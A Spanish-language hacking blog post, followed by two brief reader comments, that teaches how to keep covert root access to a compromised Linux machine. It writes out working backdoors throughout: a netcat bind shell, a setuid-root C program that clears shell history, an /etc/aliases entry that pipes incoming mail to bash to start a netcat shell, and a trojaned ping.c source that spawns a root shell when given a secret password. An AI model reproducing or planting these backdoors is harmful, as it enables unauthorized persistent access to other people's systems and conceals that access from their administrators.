Abriendo una puerta trasera: algunos métodos con más o menos dificultad

Cuando un hacker penetra en un sistema debido a una falla de seguridad, o cuando momentáneamente poseemos privilegios de root, muchas veces se tiene la necesidad de “garantizar” un posible retorno a dicho sistema. Existen varios métodos para crear lo que se llama una puerta trasera o backdoor por la que se pueda acceder a él. A continuación os explicaré unos cuantos más o menos complicados.

El método más simple para crear una puerta trasera es mediante la utilización de Netcat.

Netcat es una herramienta GNU la cual nos permite leer y escribir a través de conexiones de red utilizando los protocolos TCP o UDP.

Pues bien Netcat nos ofrece una opción “-e” la cual nos asocia un programa a la conexión que establecemos:

$ nc -l  localhost -p 1234 -e /bin/bash

Ésta es sin duda, la forma más simple que conozco para crear una puerta trasera. Solamente necesitaríamos establecer conexión mediante telnet a máquina comprometida al puerto 1234 y obtendríamos una shell.

Los 2 siguientes métodos que os voy a describir son un tanto anticuados, pero por eso no dejan de ser curiosos.

Para éste backdoor, emplearemos un poco de programación en C. Para ello, haremos uso de éste simple programa, os recuerdo que para que este código funcione deberéis ser usuario root.

#include <unistd.h>

#include <stdlib.h>

main (){

char *cad[2];

cad[0]="/bin/bash";

cad[1]=NULL;

unsetenv("HISTSIZE"); //eliminamos el historial

setuid(0);

setgid(0);

execve(cad[0], cad, NULL);

return 0;

}

Compilamos el código:

$ gcc back.c –o back

Una vez compilado, deberemos activar el bit de setuid del fichero resultante de la compilación de este modo:

$ chmod +s back

Así, si entramos al sistema como un usuario normal, nada más tendremos que ejecutar el ./back para obtener privilegios de root.

En éste método haremos uso del fichero /etc/aliases o /etc/mail/aliases en el cual se encuentran todas las redirecciones a las cuentas de correo creadas en el sistema, el fichero tiene esta estructura:

usenet: news

ftpadm: ftp

ftpadmin: ftp

ftp-adm: ftp

ftp-admin: ftp

hostmaster: root

mail: postmaster

postman: postmaster

post_office: postmaster

Como se puede ver, se redirigen los mails que llegan a las cuentas de la izquierda a las de la derecha. Siguiendo este formato, es posible redirigir también un mensaje a una instrucción de shell:

post_office: “|/bin/bash”

También podríamos redirigir el correo a cualquier otro comando. Ahora, solamente tenemos que enviar un correo especialmente formado para que al enviarlo a la cuenta post_office se procese línea a línea por la shell. El correo podría tener este aspecto:

#!/bin/bash

nc –l –e /bin/bash –p 6969 > /dev/null 2>&1 &

Los métodos mostrados hasta ahora podríamos decir que son un tanto antiguos y aunque hoy en dia están en desuso, sería difícil que actualmente funcionaran aunque nos podrían servir para salir del paso.

Creación de puertas traseras a partir de la modificación de utilidades comunes de administración:

Una forma válida para crear una puerta trasera más o menos discreta, es hacer uso de aplicaciones de uso corriente y que contengan por defecto el bit SUID activado.

Podemos utilizar por ejemplo la utilidad ping que se utiliza para testar conexiones mediante el protocolo ICMP.

Para poder modificar esta utilidad, necesitaremos obtener sus fuentes. Podemos encontrarlas en esta dirección http://mrtg.planetmirror.com/pub/ip-routing/iputils-current.tar.gz .

Una vez descargado y descomprimido, localizaremos el fichero correspondiente a ping (ping.c). Abrimos el fichero y nos centraremos en la función main:

main(int argc, char **argv)

{

struct hostent *hp;

int ch, hold, packlen;

int socket_errno;

u_char *packet;

char *target, hnamebuf[MAXHOSTNAMELEN];

char rspace[3 + 4 * NROUTES + 1]; /* record route space */

icmp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

socket_errno = errno;

uid = getuid();

setuid(uid);

source.sin_family = AF_INET;

preload = 1;

Como vemos, las lineas:

uid = getuid();

setuid(uid);

Provocan que se pierdan los privilegios de root y se asignen los del usuario actual al programa.

if (strcmp(“skarvin”, argv[1])==0){

char *cad[2];

cad[0]="/bin/bash";

cad[1]=NULL;

setuid(0);

setgid(0);

unsetenv(“HISTFILE”);

execve(cad[0], cad, NULL);

}

Por lo que el código principal de la main en ping.c quedará de esta forma:

main(int argc, char **argv)

{

if (strcmp(“skarvin”, argv[1])==0){

char *cad[2];

cad[0]="/bin/bash";

cad[1]=NULL;

setuid(0);

setgid(0);

unsetenv(“HISTFILE”);

execve(cad[0], cad, NULL);

}

struct hostent *hp;

int ch, hold, packlen;

int socket_errno;

u_char *packet;

char *target, hnamebuf[MAXHOSTNAMELEN];

char rspace[3 + 4 * NROUTES + 1]; /* record route space */

icmp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

socket_errno = errno;

uid = getuid();

setuid(uid);

source.sin_family = AF_INET;

preload = 1;


Posted on 12:14 a. m. by skarvin and filed under , | 2 Comments »

2 comentarios:

Anónimo dijo... @ 11:38 p. m.

Muy interesante tu site!!

Anónimo dijo... @ 12:20 p. m.

NiCe One :-)